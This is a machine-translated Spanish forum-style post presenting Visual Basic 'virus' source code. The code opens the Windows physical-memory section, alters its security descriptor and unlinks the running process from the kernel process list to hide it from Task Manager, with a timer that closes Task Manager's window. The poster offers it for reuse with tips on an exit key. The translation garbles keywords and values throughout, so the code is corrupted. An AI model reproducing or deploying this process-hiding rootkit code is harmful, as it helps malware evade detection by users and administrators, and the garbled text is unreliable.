Código fuente de virus extranjero
Función de declaración privada SendMessage Lib "user 32" alias "SendMessage a" (ByVal hwnd es Long, ByVal wMsg es Long, ByVal wParam es Long, lParam es Any) es Long
Privado subform_Load()
Opción explícita
Constante privada ESTADO _ INFO _ LENGTH _ MISMATCH = amp; HC0000004
ESTADO constante privado _ ACCESO _ DENEGADO = ampHC0000022
ESTADO constante privado _ NO VÁLIDO _ HandLE = ampHC0000008
Privado constante ERROR _ SUCCESS = 0 amp
Constante privada SECTION _ MAP _ WRITE = amp deuterio
Constante privada SECTION _ MAP _ READ = ampH4
Constante privada READ_CONTROL = ampH20000
Constante privada WRITE_DAC = ampH40000
Constante privada NO_INHERITANCE = 0
Constante privada DACL_SECURITY_INFORMATION= ampH4
Función de declaración privada SetSecurityInfo Lib " advapi 32 . dll "(ByVal Handle es Long, ByVal ObjectType es SE_OBJECT_TYPE, ByVal SecurityInfo es Long, ppsidOwner es Long, ppsidGroup es Long, ppDacl es Any, ppSacl es Any) es Long
Declare de forma privada el función GetSecurityInfo Lib " advapi 32 . dll "(ByVal Handle es Long, ByVal ObjectType es SE_OBJECT_TYPE, ByVal SecurityInfo es Long, ppsidOwner es Long, ppsidGroup es Long, ppDacl es Any, ppSacl es Any, ppSecurityDeor es Long)
Función de declaración privada SetEntriesInAcl Lib " advapi 32. dll "Alias" SetEntriesInAcl "(ByVal ccountoexplicientries es Long, pListOfExplicitEntries es EXPLICIT_ACCESS, ByVal OldAcl es Long, NewAcl es Long) es Long
private Declare Sub BuildExplicitAccessWithName Lib " advapi 32 . dll " Alias " BuildExplicitAccessWithNameA " (pExplicitAccess es EXPLICIT_ACCESS, ByVal pTrusteeNa
yo es String, ByVal AccessPermissions es Long, ByVal AccessMode es ACCESS_MODE, ByVal Inheritance es Long)
Declaración privada Sub RtlInitUnicodeString Lib "NTDLL.DLL" (DestinationString es UNICODE_STRING, ByVal SourceString es Long)
Función de declaración privada ZwOpenSection Lib "NTDLL.DLL" (SectionHandle tiene la misma longitud, ByVal DesiredAccess tiene la misma longitud, ObjectAttributes tiene la misma longitud)
Función de declaración privada Lib local gratuita " kernel 32 " (ByVal hMem As Any) Misma longitud
Función de declaración privada CloseHandle Lib " kernel 32 "(ByVal hObject As Long)
Función de declaración privada MapViewOfFile Lib " kernel 32 "(ByVal hFileMappingObject como Long, ByVal dwDesiredAccess as Long, ByVal dwFileOffsetHigh es Long, ByVal dwFileOffsetLow es Long, ByVal dwNumberOfBytesToMap es Long)
La función de declaración privada UnmapViewOfFile Lib "kernel 32" (lpBaseAddress As Any) tiene la misma longitud p>
Subcopia de declaración privada Biblioteca de memoria "kernel32" alias "RtlMoveMemory" (el destino es cualquiera, la fuente es cualquiera, la longitud de ByVal es larga)
Función de declaración privada GetVersionEx Lib "kernel32 "alias" GetVersionExA "(LpVersionInformation As OS versioninfo) es Long
Tipo privado OSVERSIONINFO
dwOSVersionInfoSize As Long
dwMajorVersion tiene la misma longitud
dwMinorVersion tiene la misma longitud
dwBuildNumber es Long
dwPlatformId tiene la misma longitud
szCSDVersion que la cadena * 128
Tipo de fin
Verinfo privado como OSVERSIONINFO
G_hNtDLL privado siempre
G_pMapPhysicalMemory privado siempre
G_hMPM privado siempre
Private aByte(3) as bytes
Public Sub HideCurrentProcess()
Oculta el proceso de solicitud actual en la lista de procesos.
Los subprocesos tenues tienen la misma longitud, el proceso tiene la misma longitud, fw tiene la misma longitud y bw tiene la misma longitud
Dim lOffsetFlink es Long, lOffsetBlink es Long, lOffsetPID es Long
verinfo .dwosversioninfosize = Len(verinfo)
if(GetVersionEx(ver info)) lt; gtthen 0
si verinfo.dwPlatformId = 2, entonces
si verinfo.dwMajorVersion = 5, entonces
Seleccione Caso verinfo.dwMinorVersion
Caso 0
lOffsetFlink = ampHA0
lOffsetBlink = ampHA4
lOffsetPID = ampH9C
Caso 1
lOffsetFlink = ampH88
lOffsetBlink = ampH8C
lOffsetPID = ampH84
Finalizar selección
Terminará si...
Terminará si...
finalizará si...
Si OpenPhysicalMemory lt gt entonces 0
hilo = obtener datos(amp; HFFDFF124)
proceso = obtener datos(hilo amp; H44)
fw = obtener datos (proceso lOffsetFlink)
bw = obtener datos (proceso lOffsetBlink)
SetData fw 4, bw
Establecer ancho de banda de datos, fw
CloseHandle g_hMPM
Terminará si...
Finalizar unión
la sección de memoria física del subconjunto privado se puede escribir (por sección h de Val) As Long)
Dim pDacl es Long
Dim pNewDacl es tan largo
Dim pSD es long
Dim dwRes es tan largo
Atenuar como EXPLICIT_ACCESS
GetSecurityInfo hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, 0, 0, pDacl, 0, psd
ea .grfacesspermissions = SECTION_MAP_WRITE
ea.grfAccessMode = GRANT_ACCESS
ea . grfinheritance = NO _ HERENCIA
Por forma de FIDEICOMISARIO = FIDEICOMISARIO _ ES _ NOMBRE
Por FIDEICOMISARIO. tipo = TRUSTEE _ IS _ USER
Por fideicomisario .ptstrname = " ACTUAL
_ USER " amp; vbNullChar
setentriesincl 1, ea, pDacl, pNewDacl
SetSecurityInfo hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, 0, 0, ByVal pNewDacl, 0
Limpieza:
LocalFree pSD
LocalFree pNewDacl
Conector final
La función privada OpenPhysicalMemory() es larga
Estado difuso de larga duración
Atenuar PhysmemString como UNICODE_STRING
Marcar atributo como OBJECT_ATTRIBUTES
RtlInitUnicodeString PhysmemString, StrPtr("\Device\PhysicalMemory ")
property.length = length(property)
property.root = 0
property.object name = VarPtr(physmestring)
Propiedad = 0.
Propiedad.SecurityDeor = 0
Propiedad.
SecurityQualityOfService = 0
Estado = ZwOpenSection(g_hMPM, SECTION_MAP_READ o SECTION_MAP_WRITE, atributo)
Si Estado = Estado Acceso denegado, entonces
Estado = ZwOpenSection(g_hMPM, READ_CONTROL o WRITE_DAC, atributo)
SetPhyscialMemorySectionCanBeWrited g_hMPM
CloseHandle g_hMPM
Estado = ZwOpenSection(g_hMPM, SECTION_MAP_READ o SECTION_MAP_WRITE, atributo)
Terminará si...
Dim lDirectoty tiene la misma longitud
verinfo .dwosversioninfosize = Len(verinfo)
if(GetVersionEx(ver info)) lt ; gt then 0
Si verinfo.dwPlatformId = 2, entonces
Si verinfo.dwMajorVersion = 5, entonces
Seleccione Case verinfo.dwMinorVersion
Caso 0
lDirectoty = ampH30000
Caso 1
lDirectoty = ampH39000
Finalizar selección
Terminará si...
Terminará si...
Terminará si...
Si estado = 0, entonces
g _ pmappphysicalmemory = MapViewOfFile(g _ hMPM, 4, 0, lDirectoty, ampH1000)
Si g _ pMapPhysicalMemory lt gt0 entonces abre PhysicalMemory = g_hMPM
If ... terminará
Fin de función
La función privada LinearToPhys (BaseAddress tiene la misma longitud, addr tiene la misma longitud) tiene la misma longitud
Dim VAddr tiene la misma longitud, PGDE tiene la misma longitud, PTE tiene la misma longitud, PAddr tiene la misma longitud
Dim lTemp As Long
VAddr = addr
Copiar memoria aByte(0), VAddr, 4
ltemp = fix(byteartlong (abyte)/(2 ^ 22))
PGDE = dirección base lTemp * 4 p>
Copyright PGDE, ByVal PGDE, 4
Si (PGDE y 1) lt; entonces 0
PGDE y ampH80
Si lTemp lt gt entonces 0
PADdr = (PGDE y ampHFFC00000) (VAddr y ampH3FFFFF)
Otro
PGDE = MapViewOfFile(g_hMPM, 4, 0, PGDE y ampHFFFFF000 , y .
H1000)
lTemp = (VAddr y amph3ff 000)/(^Road 2 No. 12)
PTE = PGDE lTemp * 4
CopyMemory PTE, ByVal PTE, 4
Si (PTE y 1) lt; gt entonces 0
PADdr = (PTE y ampHFFFFF000) (VAddr y ampHFFF)
UnmapViewOfFile PGDE< / p>
Terminará si...
Terminará si...
Terminará si...
LinearToPhys = PAddr
Función final
La función privada GetData (addr tiene la misma longitud) tiene la misma longitud
Dim phys tiene la misma longitud, tmp es la misma longitud y ret tienen la misma longitud
phys = LinearToPhys( g_pmappphysicalmemory, addr)
tmp = MapViewOfFile(g_hMPM, 4, 0, phys and ampHFFFFF000, sum. H1000) p>
si tmp lt gt entonces 0
ret = tmp ((phys y ampHFFF) / (2 ^ 2)) * 4
Copiar memoria ret, ByVal ret, 4
UnmapViewOfFile tmp
GetData = ret
Terminará si...
Finalizar función
La función privada SetData (la dirección ByVal es larga, los datos ByVal son largos) es un valor booleano
p>Dim phys tiene la misma longitud, tmp tiene la misma longitud y x tiene la misma longitud
phys = LinearToPhys(g _ pmappphysicalmemory, addr)
tmp = MapViewOfFile(g_hMPM, SECTION_MAP_WRITE, 0, phys y ampHFFFFF000 y .H1000)
Si tmp lt gt entonces 0
x = tmp ((phys y ampHFFF) / (2 ^ 2)) * 4
Copiar memoria ByVal x, datos, 4
UnmapViewOfFile tmp
SetData = True
Terminará si...
Función final
Función privada byteartlong(inByte()As Byte) es doble
Marque I como un número entero
Para I = 0 a 3
byteartlong = byteartlong inByte(I)*(amp;H100^I)
Siguiente yo
Finalizar función
Finalizar función
Sub-timer1_Timer privado()
HW = FindWindow ( vbnullstring, "Administrador de tareas de Windows")
Enviar mensaje hardware ampH10, 0
Enviar clave" "
I. SetFocus
El conector final
Da tanto miedo~~~Casi no puedo recuperarlo.
Si no se está ejecutando en VB, realmente no sé cómo salir.
Sería mejor si el estilo del formulario estuviera establecido en Ninguno y el estado de inicio estuviera establecido en Maximizado.
Si le preocupa no poder jubilarse, puede hacer esto:
Private Sub Form_KeyDown (KeyCode es un número entero, Shift es un número entero)
Si KeyCode = Asc("I " ), fin
Finalizar conector
Entonces puedes salir presionando la tecla "I".
Ocultar el código VB del proceso en sistema XP/2K
Atributo VB_Name = "modHideProcess "
-
Nombre del módulo: modHideProcess.bas
'
Función del módulo: Oculta el proceso actual en la lista de procesos del Administrador de tareas de XP/2K.
'
Uso: Llame a HideCurrentProcess() directamente
'
Autor del módulo: Obtenido de Internet, el autor original es desconocido .
Fecha de revisión: 26 de agosto de 2006
-